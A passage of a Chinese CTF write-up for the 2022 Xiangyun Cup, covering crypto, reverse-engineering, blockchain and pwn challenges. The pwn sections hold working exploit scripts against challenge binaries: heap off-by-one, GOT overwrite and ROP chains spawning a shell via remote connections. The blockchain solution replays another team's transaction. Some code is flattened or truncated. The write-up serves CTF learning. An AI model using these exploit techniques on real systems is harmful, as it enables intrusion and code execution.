  0xDA, 0x9D, 0x8E, 0x92, 0x93, 0xDF, 0x63, 0x60, 0x74, 0x6A, 
  0x6A, 0x62, 0x26, 0x6E, 0x66, 0x2E, 0x2A, 0x20, 0x2C, 0x6F, 
  0x67, 0x61, 0x71, 0x62, 0x71, 0x7A, 0x7D, 0x3B, 0x63, 0x79, 
  0x70, 0x7C, 0x62, 0x77, 0x75, 0x7B, 0x67, 0x37, 0x48, 0x40, 
  0x51, 0x4B, 0x48, 0x4C, 0x44, 0x09, 0x5B, 0x41, 0x4B, 0x19, 
  0x19, 0x1B, 0x06, 0x44, 0x55, 0x48, 0x1B, 0x1D, 0x5C, 0x50, 
  0x4E, 0x53, 0x51, 0x5E, 0x5F, 0x48, 0x48, 0x15, 0x17, 0x16, 
  0x1B, 0x7B, 0x73, 0x73, 0x19, 0x4F, 0x2F, 0x31, 0x68, 0x74, 
  0x6A, 0x2D, 0x20, 0x2C, 0x29, 0x14, 0x65, 0x6B, 0x7F, 0x62, 
  0x09, 0x5F, 0x3B, 0x32, 0x2B, 0x2A, 0x3B, 0x3C, 0x39, 0x7D, 
  0x63, 0x7F, 0x0D, 0x04, 0x11, 0x10, 0x05, 0x02, 0x03, 0x47, 
  0x43, 0x49, 0x08, 0x12, 0x18, 0x08, 0x1D, 0x47, 0x58, 0x1D, 
  0x52, 0x5E, 0x54, 0x19, 0x13, 0x19, 0x50, 0x14, 0x1F, 0x08, 
  0x0F, 0x1C, 0x19, 0x1A, 0xA9, 0xA1, 0xA7, 0xA3, 0xE8, 0xAC, 
  0xA6, 0xAD, 0xA8, 0xEA, 0xE2, 0xF9, 0xA4, 0xE1, 0xAE, 0xA2, 
  0xB0, 0xFD, 0xF7, 0xFD, 0xBC, 0xF8, 0xF3, 0xE4, 0xEB, 0xF8, 
  0xFD, 0xFE, 0xB5, 0xBD, 0xBB, 0xBF, 0xCC, 0x88, 0x8E, 0x83, 
  0xC1, 0xCB, 0xC5, 0xC8, 0xCC, 0xC0, 0xC4, 0xCC, 0x8C, 0x90, 
  0x8E, 0x88, 0xC5, 0xC5, 0xD4, 0x9E, 0x8C, 0x92, 0x9F, 0xBD, 
  0xD9, 0xDC, 0xC9, 0x9B, 0x81, 0x9D, 0xFF, 0xFA, 0x93, 0xEF, 
  0xAC, 0xA6, 0xB3, 0xED, 0xAD, 0xA2, 0xB1, 0xE5, 0xEA, 0x8A, 
  0x89, 0x9E, 0xE0, 0x82, 0x9F, 0x95, 0x97, 0x8C, 0x97, 0x97, 
  0x95, 0xFB, 0xF8, 0xB0, 0xAC, 0xF2, 0xD6, 0xAD, 0xAC, 0xB6, 
  0x8E, 0x95, 0xCA, 0x81, 0x8D, 0x8B, 0x87, 0x94, 0x8B, 0x80, 
  0x83, 0xC5, 0x84, 0x88, 0x96, 0x83, 0x99, 0x97, 0x8B, 0xDB, 
  0x95, 0x90, 0x85, 0xD9, 0x9D, 0x97, 0x99, 0x89, 0x85, 0x8D, 
  0x8A, 0xD7, 0x6D, 0x64, 0x71, 0x70, 0x65, 0x62, 0x63, 0x2E, 
  0x21, 0x20, 0x00, 0x28, 0x26, 0x27, 0x24, 0x25, 0x3A, 0x3B, 
  0x38, 0x39, 0x3E, 0x3F, 0x3C, 0x3D, 0x32, 0x33, 0x30, 0x31, 
  0x36, 0x37, 0x34, 0x35, 0x0A, 0x0B, 0x08, 0x09, 0x0E, 0x0F, 
  0x0C, 0x0D, 0x02, 0x03, 0x00, 0x01, 0x06, 0x07, 0x04, 0x05, 
  0x1A, 0x1B, 0x18, 0x19, 0x1E, 0x1F, 0x1C, 0x1D, 0x12, 0x13, 
  0x10, 0x11, 0x16, 0x17, 0x14, 0x15, 0x6A, 0x6B, 0x68, 0x69, 
  0x6E, 0x6F, 0x6C, 0x6D, 0x62, 0x63, 0x60, 0x61, 0x66, 0x67, 
  0x64, 0x65, 0x7A, 0x7B, 0x78, 0x79, 0x7E, 0x7F, 0x7C, 0x7D, 
  0x72, 0x73, 0x70, 0x71, 0x76, 0x77, 0x74, 0x75, 0x4A, 0x4B, 
  0x48, 0x49, 0x4E, 0x4F, 0x4C, 0x4D, 0x42, 0x43, 0x40, 0x41, 
  0x46, 0x47, 0x44, 0x45, 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 
  0x5C, 0x5D, 0x52, 0x53, 0x50, 0x51, 0x56, 0x57, 0x54, 0x55, 
  0xAA, 0xAB, 0xA8, 0xA9, 0xAE, 0xAF, 0xAC, 0xAD, 0xA2, 0xA3, 
  0xA0, 0xA1, 0xA6, 0xA7, 0xA4, 0xA5, 0xBA, 0xBB, 0xB8, 0xB9, 
  0xBE, 0xBF, 0xBC, 0xBD, 0xB2, 0xB3, 0xB0, 0xB1, 0xB6, 0xB7, 
  0xB4, 0xB5, 0x8A, 0x8B, 0x91, 0xC5, 0xC6, 0xC4, 0x90, 0x93, 
  0xC9, 0xCD, 0x9D, 0xC9, 0x9B, 0x95, 0x98, 0x98, 0x86, 0xD4, 
  0x86, 0x85, 0x80, 0x86, 0x8F, 0x82, 0x89, 0x80, 0x83, 0x8F, 
  0x8E, 0x89, 0x8D, 0x8F, 0xF2, 0xA3, 0xF0, 0xF2, 0xA6, 0xF7, 
  0xA4, 0xF6, 0xFF, 0xAD, 0xA8, 0xF9, 0xC6]
for i in range(len(data)):
    print(chr(data[i] ^ i & 0xFF), end = "")


# can_U_get_1t?
from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key)
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2

然后又套了个密码,加点注释。

from Crypto.Cipher import AES
import binascii
import hashlib
from hhh import flag
assert flag[:5] == 'flag{' and flag[-1:] == '}'
key = b'4d9a700010437***'
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
iv = flag[5:-1] #flag内容做为iv。
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key, AES.MODE_CBC, iv)
print(binascii.hexlify(aes.encrypt(message)))
#******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2



简单分析一下,首先给了个key,需要爆破,三位,然后密位没给全但是问题不大,可以用来当作校验,最后把明文当成密文来解aes应该就可以了,先爆破一下key

首先key是16进制,内容最多是0-9a-f,所以编写

from email import message
from encodings import utf_8


from Crypto.Util.number import *
from Crypto.Cipher import AES
import binascii
import hashlib


checknum =  0x3fba64ad7b78676e464395199424302b21b2b17db2


def XOR(a,b):
    c = []
    for i,j in zip(a,b):
        c.append(i^j)
    return bytes(c)
        
#16进制
strlist = "0123456789abcdef"


for a in strlist:
    for b in strlist:
        for c in strlist:
            key = '4d9a700010437'+a+b+c
            key = key.encode()
            l = len(key) #16
            message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
            message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
            aes = AES.new(key,AES.MODE_ECB)
            data1 = long_to_bytes(checknum)
            check = data1[:-16]  #flag{
            encode= data1[-16:]  #}
            #decode
            decode = aes.decrypt(encode)[-5:]
            if check == XOR(decode,message[-5:]):
                print(key)
                break

获得key:4d9a7000104376fe

有了key之后就可以带入之前的程序继续计算就行了

#题目给的
key = "4d9a7000104376fe"
key = key.encode()
l = len(key) #16
message = b'Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in' + binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]
message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')
aes = AES.new(key,AES.MODE_ECB)
#clac
msg = []
for i in range(6):
    temp = message[i*16:(i+1)*16]
    msg.append(temp)


msg = msg[::-1]


flag = long_to_bytes(checknum)[-16:]
for i in range(6):
    flag = aes.decrypt(flag)
    flag = XOR(flag, msg[i])


print(flag)

5.BearParser

非预期上车

区块链,只给了部分代码,一直等上车来着

图片[18]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最开始思路寻思上geth连一下看看,geth attach ip可以链上,并且使用eth.getBlock能获取其他人的交易记录,所以一直等着上车捏

图片[19]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

然后发现有队伍一血了,最速使用eth.BlockNumber查看到最新区块到了190,

图片[20]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

索性从181一直查到了190(之前区块一直在查,要么是部署,要么是转账和创建账户)直到190块发现了poc,对应一下时间刚好是一血的时间,直接复制input内容

{
  blockHash: "0xf6296217b129d81856d1edcc76be550904160f4a877cbb3ed4405789d36729e5",
  blockNumber: 190,
  from: "0xc7f0fa2a5f9a258f0762457f3e5e34ac4581dfae",
  gas: 3000000,
  gasPrice: 10000000000,
  hash: "0x5fe866a4e421c73d0c846c04e82b27830c60af842641baa606d03bd818e7550f",
  input: "0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008061616161616161616161616161616161616161616161616161616161616161616262626262626262626262626262626262626262626262626262626262626262000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000001111111100000000000000000000000000000000000000000000000000000000111111110000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000278780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000027878000000000000000000000000000000000000000000000000000000000000",
  nonce: 0,
  r: "0x44de0f6cde5ee4144de798ac6382347bb4b8878d399f4da629e23114d1106624",
  s: "0x3c5d157b3accc627c0a95a54f6f0d2b6ca76e006e4569eada69df141c730e589",
  to: "0xf8af169b2ccde9271fdd004608c624037d58957f",
  transactionIndex: 0,
  type: "0x0",
  v: "0x4593",
  value: 0

合约随便部署个fallback() external{}

就行了然后直接to address部署题目合约,直接transact即可

图片[21]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

复制交易txhash值,最后提交

图片[22]-2022祥云杯ALLMISC Writeup-魔法少女雪殇



0X03 Crypto

1.little little fermat

遇事不决去百度代码,发现相似代码

根据 writeup 即可求出 p 和 q

题目提示是小费马,百度即可得到费马小定理

费马小定理

根据费马小定理我们可以从 :

assert 114514 ** x % p == 1

推出:

x = p - 1

然后正常解RSA即可:

from Crypto.Util.number import * 
from random import * 
from libnum import * 
import gmpy2 
from itertools import combinations, chain 

e = 65537 
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 
tp = [gmpy2.mpz(1 << i) for i in range(512)] 
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) 
for cf in it: 
   A = -sum([tp[i] for i in cf]) 
   D = A**2 + 4 * n 
   if gmpy2.is_square(D): 
       d = gmpy2.isqrt(D) 
       p = (-A + d) // 2 
       q = n // p 
       break 
x=p-1 
d = pow(e, -1, (p - 1) * (q - 1)) 
m=pow(c, d, n) 
print(pow(c, d, n)) 
print(long_to_bytes(m^(x**2)))

2.common_rsa

利用在线分解直接出p,q。

3z2ajt5qr0q15382.png

然后常规 RSA 解密即可:

import libnum
from Crypto.Util.number import long_to_bytes
 
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

(不理解这道题为什么没多少人做, 当时做的时候看到 e 很大想到了维纳攻击,但没想到网上可以直接查到 n 的分解,也就没有进一步分解代码直接解了)

(有点感觉非预期?)


3.tracing

(这道题秋风提供了核心求解 phi 的思路,然后我就直接把剩下的 RSA 解密一把梭了)

这道题的 pq 没有给出,而题目却给出了类似于单步调试回显的代码,因此分析 gcd 函数的操作过程可以直接倒推出 phi

import libnum
from Crypto.Util.number import long_to_bytes

n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537

tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()

for i in arr[::-1]:
    if "a = a - b" in i:
        tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
    if "a, b = b, a" in i:
        tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
    if "a = rshift1(a)"in i:
        tag1 = tag1 << 1
#print(tag1)
#print(tag2)
    if "b = rshift1(b)" in i:
        tag2 = tag2 << 1
#print(tag1)
#print(tag2)

phi = tag1
#print(phi)

d = libnum.invmod(e, phi) 
m = pow(c, d, n)
print(long_to_bytes(m))

4.fill

利用lcg的三组连续输出求出参数m和c,从而得到整个序列s,反求出序列M;然后就是一个背包的破解,lll算法求最短向量即可,构造方式参考:https://www.ruanx.net/lattice-2/,exp:M = [19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]S = 492226042629702n = len(M)L = matrix.zero(n + 1)
for row, x in enumerate(M):    L[row, row] = 2    L[row, -1] = x
L[-1, :] = 1L[-1, -1] = Sres = L.LLL()print(res)# pythonfrom Crypto.Util.number import *from hashlib import *nbits = 32M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]s0,s1,s2 = 562734112,859151551,741682801n = 991125622m = (s2-s1)*inverse(s1-s0,n)%nc = (s1-s0*m)%ns = [0] * nbitss[0] = s0for i in range(1, nbits):    s[i] = (s[i-1]*m+c)%nprint(s)for t in range(nbits):    M[t] = M[t] - s[t]print(M)# 注意是反向量short = '00101000011000010001000010011011'short2 = ''for i in short:    if i == '0':        short2 = short2 + '1'    else:        short2 = short2 +'0'print(short2)print(len(short2))num = int(short2,2)print(sha256(str(num).encode()).hexdigest())

5.babyDLP

CryptoCTF2022的原题side step,参考春哥的解法:https://zhuanlan.zhihu.com/p/546270351,exp需要修改两个地方,1是if (‘Great!’ in a):需要加上b,其次是a = a[9:]改为a = a[8:] 。然后直接打即可:from pwn import *from sage.all import *from Crypto.Util.number import *

class Gao:    def __init__(self):        self.con = remote('101.201.71.136', 16265)        self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1        self.s_high = 1        self.Zp = Zmod(self.p)        def gao_check(self):        self.con.sendline('T')        ans = self.Zp(4).nth_root(self.s_high)        print('Guessing: {}'.format(ans))        self.con.sendline(str(ans))        self.con.recvuntil('integer: \n')        a = self.con.recvline()        if (b'Great!' in a):            print(a)            print(ZZ(ans).nbits())            return True        else:            return False
    def gao_one(self):        self.con.sendline(b'T')        ans = self.Zp(2).nth_root(self.s_high)        self.con.sendline(str(ans))        self.con.recvuntil(b'integer: \n')        a = self.con.recvline()        if (b'Great!' in a):            print(a)            print(ZZ(ans).nbits())            return True        else:            a = a[8:]        t, r = eval(a)        self.s_high <<= 1        if (t == 0):            self.s_high |= 1        self.t = 1 - t        #print('{:b}'.format(self.s_high))        return False

    def gao(self):        while (True):            if (self.gao_one()):                break            if (self.t == 1):                if (self.gao_check()):                    break        def gao_2(self):        for i in range(1023):            if (self.gao_one()):                break        else:            for i in range(20):                self.gao_check()                self.s_high >>= 1
if __name__ == '__main__':    g = Gao()    g.gao_2()目录WebFunWEBezjavaRustwafpwnojsprotocolqueueunexploitablesandboxheapbitheapleakMiscstrange_forensicsRevroketcryptolittle little fermattracingfillbabyDLP

0x04 RE

1.engtom

下载下来,一看,. snapshot ???懵逼

有点像脚本语言的字节码..

必应查一下,没出来啥

看导入函数, charCodeAt ,判断是js

js有好多实现,要找找是哪种

结合开头 JRRYF 和题目名字里的 tom ,让我想起了猫和老鼠.

这时候看到一个项目,名字叫 jerryscript ,背底是奶酪.

又看到里面源码有解析. snapshot 文件,基本确定了就是他了

配置好环境后,看 help (英语阅读题),看到可以输出 opcode .

输出之,发现 sm4 的常量以及函数名,所以断定是 sm4 .

解密得到结果,用 ctf{}包上就提交了.脚本如下图:

w1ord4aocmt15385.png

附:

##############################################################################
#                                                                            #
#                            国产SM4加密算法                                  #
#                                                                            #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
    ddd=[]
    for i in range(len(a)):
        s=a[i]
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
    return bytes(ddd)

class SM4:
    """
    国产加密 sm4加解密
    """

    def __init__(self):
        self.crypt_sm4 = sm4.CryptSM4()  # 实例化

    def decryptSM4(self, decrypt_key, encrypt_value):
        """
        国密sm4解密
        :param decrypt_key:sm4加密key
        :param encrypt_value: 待解密的十六进制值
        :return: 原字符串
        """
        crypt_sm4 = self.crypt_sm4
        crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)  # 设置密钥
        decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)  # 开始解密。十六进制类型
        return decrypt_value
        # return self.str_to_hexStr(decrypt_value.hex())

if __name__ == '__main__':
    key = getarr([19088743,2309737967,4275878552,1985229328])
    strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
    strData=bytes(strData)
    SM4 = SM4()
    decData = SM4.decryptSM4(key, strData)
    print("sm4解密结果:", decData)  # 解密后的数据


2.roket

测试输入数据和输出数据寻找规律发现是输入转ascii码然后三次方得到输出
from Crypto.Util.number import long_to_bytesimport gmpy2print(gmpy2.iroot(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181, 3))#6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7da='6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d'for i in range(0,len(a),2):    print('0x'+a[i]+a[i+1],end=',')print('flag:')#0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7db=[0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7d]for i in range(len(b)):    print(chr(b[i]),end='')

0x04 PWN

1.bitheap

解题思路 一个2.27的堆,edit函数存在一个字节的溢出,当输入的字符是“1”的时候,会多输出以为。因为edit的存储,会导致下一个堆块的inuser位置0,典型的offbyone,就是输入时edit会把2进制转成16进制然后按位取反。

from pwn import *
sh=process('./sandboxheap')
#sh=remote("101.201.71.136 ",30298)
p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin
elf=ELF(filename)
libc=ELF('libc-2.27.so')
ch="Your choice:"
Size="Size: "
Idx="Index:"
Con="Content:"
def add(idx,size):
    sh.sendlineafter(ch,str(1))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Size,str(size))
def edit(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,con)
def show(idx):
    sh.sendlineafter(ch,str(3))
    sh.sendlineafter(Idx,str(idx))
def delete(idx):
    sh.sendlineafter(ch,str(4))
    sh.sendlineafter(Idx,str(idx))
def edit2(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1])

for i in range(0x8):
    add(i,0x88)
add(8,0x58)
add(9,0x88)
add(10,0x88)
for i in range(7):
    delete(i)
delete(7)
edit(8,'1'*(0x58*8))
edit(8,'a'*0x58*8)
edit(8,'1'*0x50*8+'a'*4+'1'*4)
delete(9)
for i in range(0x8):
    add(i,0x88)
show(8)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
add(9,0x68)
delete(10)
for i in range(7):
    delete(i)
for i in range(0x7):
    add(i,0x68)
delete(3)
delete(4)
delete(5)
delete(6)
delete(1)
delete(2)
delete(8)
show(9)
sh.recvuntil("Content: ")
heap_base=u64(sh.recv(6).ljust(8, '\0'))-0x860
success("heap_base = "+hex(heap_base))
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96#
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f302
add(1,0x68)
add(2,0x68)
edit(2,p64(0)+p64(one)+p64(realloc+2))
add(3,0x10)
sh.interactive()

2.unexploitable

第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求

from pwntools import *


init("./unexploitable")

def pwn():
    s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
    # dbg()
    # time.sleep(5)
    s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
    sl("ls")
    tmp = pwnio.io.recv(1,timeout=1)
    print(tmp)
    if not tmp or tmp==b'*':
        raise
    ia()
    
hack(pwn,cls=False)
# pwn()

脸黑,和队友开了两个靶机爆破了两天...队友脸白,穿了

13197d42-13fd-489d-a5e3-c06cb38f99e9


3.ojs

查找关键词可知,这题魔改自项目:https://github.com/ndreynolds/flathead

比对源码可知,新增了方法charTo

mi3vynftvbb15395.png

逆一下,str.charTo(offset, val)代表将字符串str偏移offset(可正可负)处改为val

可越界写的条件是字符串str的长度为3,且当val = 17的时候,会返回存放str自身的堆块地址(结合动态调试)。

hy13dj1a3f015399.png

由于本题没开PIE保护,且got表可写:

5zikldz2xz515402.png

所以其实任意写的思路很显然:先泄露出str自身堆块地址,然后就能用其与某got表地址的差值通过charTo任意写got表了。

泄露libc的思路也不难想到,可以将初始长度为3str后面的\x00不断覆盖掉,这样就能泄露后面内存中的libc地址了,这里其实也可以泄露出堆块地址。

不过,由于比赛的时候远程环境十分诡异,导致当时配了几个小时环境都没弄出来远程的环境(打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ),后来就干脆采用了无脑爆破的做法。str后面内存区域中libc的位置需要爆破一下,得到是60*8的偏移处,然后得到了libc地址以后,其相对于基地址的偏移也需要爆破一下(这里其实有个技巧,就比如我这里劫持的是printfgot表,那么可能出问题也就是倒数第二、三个字节,先只改倒数第二个字节,其余保持原先的值不变,如果最后能正常输出,则表示倒数第四位的偏移爆破正确了,倒数第三个字节的爆破也同理这么操作)。

此外,这里应该也可以通过改某个got表为puts@plt,然后输入某个got的地址来泄露libc,或者先劫持bss段上的stdin/stdout/stderr指针为某个got表地址,然后比如再改setvbufgot表为puts@plt,最后劫持执行流到setvbuf来泄露。不过这里貌似不太好泄露完再返回了,但是通过这里泄露的值和上述60*8的位置泄露的libc比对一下就不需要上面的爆破操作了。

最后,选用如下one_gadget即可:

py14ixpdqde15406.png

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = remote("39.106.13.71", 38641)
libc = ELF("./libc-2.27.so")
elf = ELF("./ojs")

io.sendlineafter("> ", 'a = "win";')
io.sendlineafter("> ", 'x = a.charTo(0, 17);')
io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");')

io.recvline()
io.recvuntil("xxx")
heap_addr = int(io.recvuntil("xxx").strip(b"xxx"))
success("heap_addr:\t" + hex(heap_addr))

io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);')
io.sendlineafter("> ", 'console.log(a);')

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
success("libc_addr:\t" + hex(libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex(libc_base))

dis = elf.got['printf'] - heap_addr
og = p64(libc_base + 0xe54f7)
for i in range(6) :
	io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});')

io.sendlineafter("> ", 'b = [];')
io.sendlineafter("> ", 'b.push("winmt");')
io.interactive()

yzkhu4wy2wx15410.png


4.protool

Google的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm

发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin

username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00"

因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00

最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了

from pwntools import *
from ctf_pb2 import *

init("./protocol")

ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360



'''
b *0x407743
payload = flat([
    pop_rdi_ret,"/bin/sh\x00",
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 59,
    syscall
])
'''

def write(payload):
    p = pwn()
    p.username = b"admin"
    p.password = payload
    sd = p.SerializeToString()
    sa("Login:", sd)
    time.sleep(0.2)

write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))    # syscall = 0x0000000000403C99

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*8-i)) 
write(b"b"*0x248 + b"b"*8*7 + p8(59))                        # 59

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*7-i)) 
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))    # pop_rax_ret = 0x00000000005bdb8a

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*6-i)) 
write(b"b"*0x248 + b"b"*8*5)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*5-i)) 
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))  # pop_rsi_ret = 0x0000000000588BBE

for i in range(1,8):
